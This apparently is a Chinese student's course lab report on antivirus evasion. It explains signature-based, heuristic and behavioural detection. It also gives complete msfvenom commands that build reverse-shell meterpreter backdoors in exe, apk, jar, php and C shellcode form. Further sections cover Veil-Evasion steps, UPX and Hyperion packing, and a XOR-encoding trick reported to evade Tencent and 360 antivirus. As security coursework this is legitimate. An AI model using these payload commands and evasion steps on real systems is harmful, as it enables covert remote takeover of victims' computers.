Exp3 免杀原理与实践

目录


一、实验内容

1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

返回目录


二、基础问题回答


(1)杀软是如何检测出恶意代码的?
杀毒软件一般是通过以下三种检测方法来检测恶意代码的:

  • 基于特征码的检测
    根据恶意代码的各种特殊的一个或者多个片段形成一个特征码库,如果一个可执行文件(或其他运行的库、脚本等)包含特征码库中的数据则被认为是恶意代码。并不是比对整个文件,而是将其中一个或几个片断作为识别依据。所以杀毒软件的恶意代码的病毒库的更新和全面性十分重要,过时的特征码库就无法检测出新的病毒,所以我们也需要及时更新自己的杀毒软件。
  • 启发式恶意软件检测
    根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
    优点:
    (1)可以检测0-day恶意软件
    (2)具有一定通用性
    缺点:
    (1)实时监控系统行为,开销稍多
    (2)没有基于特征码的精确度高
  • 基于行为的恶意软件检测
    最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。


(2)免杀是做什么?

  • 免杀就是做出令杀毒软件无法鉴定为恶意代码的后门等,无法被杀毒软件发现的程序。

(3)免杀的基本方法有哪些?

  • 改变特征码
    • 对exe文件加壳:压缩壳 加密壳
    • 对shellcode用encode进行编码
    • 基于payload重新编译生成可执行文件
    • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    (1)通讯方式
    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据

(2)操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码

  • 非常规方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件

返回目录


三、实验过程记录

3.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程。

3.1.1 正确使用msf编码器

Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里呀。

有关msfvenom的参数与使用:

实验二中生成的后门程序5114_backdoor.exe就是使用msfvenom生成的,将其放入virstotalvirscan.org分别进行检测,结果:

  • virstotal的检测结果比中文版的更严格呀!

现在我们试试用msf编码一次和编码十次,看看是否有区别。

  • 编码一次指令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.1.166 LPORT=5114 -f exe >5114_encode.exe

  • 编码十次指令,多了参数i,次数为10:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.166 LPORT=5114 -f exe >5114_encode_10.exe

  • 检测结果:

我们发现,并没有什么实质性的变化,即使多编码几次仍然能检测出恶意代码,因为AV厂商也不傻,他们研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。

还有模板。模板就是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。曾经有一段时间,只要换了模板,就可以对所有AV免杀。现在这招不行了。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。


3.1.2 msfvenom生成如jar之类的其他文件

(1)msf生成apk文件

  • 生成安装包apk文件使用命令:msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.166 lport=5114 x> 20165114_backdoor.apk

(2)msf生成jar文件

  • 生成Java后门程序使用命令:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.1.166 lport=5114 x> 20165114_backdoor_java.jar

(3)msfvenom生成php文件

  • 生成PHP后门程序使用命令:msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.166 lport=5114 x> 20165114_backdoor.php

以上生成的各个文件如下:

(4)msfvenom生成shellcode

  • 生成shellcode使用命令:msfvenom -p windows/meterpreter/reverse_http lhost=192.168.1.166 lport=5114 -f c

生成的shellcode如下:


3.1.3 veil-evasion

Veil-Evasion是一个免杀平台,与Metasploit有点类似。Veil-evasion是用其他语言如c,c#,phython,ruby,go,powershell等重写了meterperter,然后再通过不同方式编译成exe,共性特征比较少。

  • 几经尝试,也看了很多学长学姐和同学们的博客,但是veil 3.1.11版本的安装还是没能成功。展开对象之后需要漫长的等待,而且后面也不一定能成功。提示为远端意外挂断了,所以无法下载到veil的很多重要的文件,所以后面的安装也失败。最终我拷贝了其他同学的虚拟机,然后完成了实验。

  • 使用命令:veil,启动veil,可以看到可用的工具和命令。

  • use 1使用工具veil-Evasion。

  • 输入命令list payload ,列出可选择的各种payloads。

  • 输入命令use 6 ,选择c/meterpreter.rev_http_service

  • 输入该Linux的IP地址(坏人的IP)和端口号。设置payload,最后generate,接着会让你给文件起一个名字,此处我命名为5114payload,生成了一个可执行文件。可以看到它的语言、路径和源码位置。

  • 将它放入杀软网站检测一下看看,效果貌似还不错,但是也还有35个引擎检测到了,也不少了。传送到我的主机也会立刻被我的电脑管家发现并清除,不过恢复后监听回连可以成功。


3.1.5 C语言调用shellcode

下面是一个半手工打造恶意软件的例子:

  • 生成一个c语言格式的Shellcode数组。
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.166 LPORT=5114 -f c

  • 把这个数组拿来编写一个程序,使用命令vim 20165114_shellcode327.c生成一个.c文件,然后将刚刚生成的shellcode数组复制到该文件中,再加上一个主函数,如下图所示:

  • 接着将.c文件编译成可执行文件i686-w64-mingw32-g++ 20165114_shellcode327.exe -o 20165114_shellcode327.exe,也可以用别的软件进行编译,我将该.c文件用win10的codeblocks编译后,生成了文件miansha.exe。(所以不同的编译器编译会有区别吗???)

  • 再开启监听,反弹连接,看看是否能成功控制win10,结果成功。

  • 我的杀软是腾讯电脑管家,能够查杀可执行文件20165114_shellcode327.exe,给该文件加壳试试,使用命令upx 20165114_shellcode327.exe -o 5114_upx.exe,再传送到主机,然后还是被杀软发现了...

  • 加密壳 Hyperion
    将刚刚加过压缩壳的文件放入目录/usr/share/windows-binaries/hyperion下,并使用命令:cd /usr/share/windows-binaries/hyperion/进入目录,给文件加壳wine hperion.exe - 5114_upx.exe 5114_upx_Hyperion.exe

返回目录


3.2 通过组合应用各种技术实现恶意代码免杀

  • 最终免杀方法描述:

(1)msfvenom生成shellcode。
(2)将shellcode与'x'进行异或,生成异或后的shellcode。
(3)将异或后的shellcode放入程序,该程序再将此shellcode异或一次,则实际上会还原为原来的shellcode,但不易被杀软检测到。
(4)用codeblocks编译该程序生成一个exe文件,即为该后门程序,我的电脑管家无法发现它。

  • 下图为杀软与加壳前miansha.exe和加壳后的5114_upxed.exe文件共存的截图,两者电脑管家都扫不出来:

  • 将加壳前miansha.exe和加壳后的5114_upxed.exe文件放入virstotal检测一下看看,有惊喜。

  • 未加壳的文件居然出现了1/56的惊人结果,这种简单的异或改变了shellcode的代码,可能导致无法与特征码匹配,我猜测应该来说大多数杀软检测还是依靠了特征码的精确匹配吧,所以无法检测出这个后门。而且加壳后的文件本杀软检测出来的更多,说明加壳的过程中的一些痕迹被检测到了,反而被认定为恶意代码了,毕竟加壳也很出名了,被发现也很正常?。

返回目录


3.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(#4.3)

  • 实验环境

被控机:win10实体,装有360安全卫士最新版,IP地址为172.30.5.1
控制机:kali-2019,IP地址为172.30.5.164
两台主机能互相ping通,原本被控机IP地址和攻击者不在同一网段,对被控机进行设置后才在同一网段了。

  • 被控机的360扫描后未发现该后门,下图为其扫描日志:

  • 通过微信将后门发送给刘天野同学的电脑,然后监听回连之后,就成功控制另一台电脑了,感觉好厉害。

返回目录


四、实验总结与体会

  • 本次实验之后,我发现了原来杀毒软件也不是特别强大,当你避开杀软的查杀原理进行别有用心的操作之后,就可能不被杀毒软件发现(其实是各种免杀工具强大,我还是菜的),而且危害极大,可能悄无声息就被黑了,杀软也检测不出来。
  • 经过这次实验,我对MSF、veil-evasion的使用也更加了解了,不断探索会发现他其实有很多强大的功能。还有很多方法可以成功实现免杀,不禁觉得学无止境,可以尝试学习的空间还很大。
  • 通过这两个网站的尝试和检测,可以看出我们制作的后门免杀的效果,所以我们对杀毒软件的认识也更清晰了,也有很多免杀后门是不容易被检测出来的,我们在平时的使用电脑时,需要更加注意,不要轻易运行不明的可执行文件,也要注意更新杀软病毒库等等,但是其实感觉还是很容易防不胜防的,因为还有很多我不知道的另辟蹊径。

五、开启杀软能绝对防止电脑中恶意代码吗?

当然不能绝对防止电脑中恶意代码,如上我们就实现了杀软和后门共存,我们通过学习都能制作出简单的免杀后门,更不要说别用有心的人更能制作出杀软无法查杀的后门等,侵入你的电脑啦。而且恶意代码的变形和创意千变万化,总是会有新的病毒出现,也总有新的入侵方法,很多杀毒软件也是在根据新的恶意代码的花样进行原理分析后才能不断更新进步的。

参考资料如何利用十行代码,绕过杀毒软件实现免杀?

posted on 2019-03-30 09:18  Principlewill  阅读(429)  评论(0编辑  收藏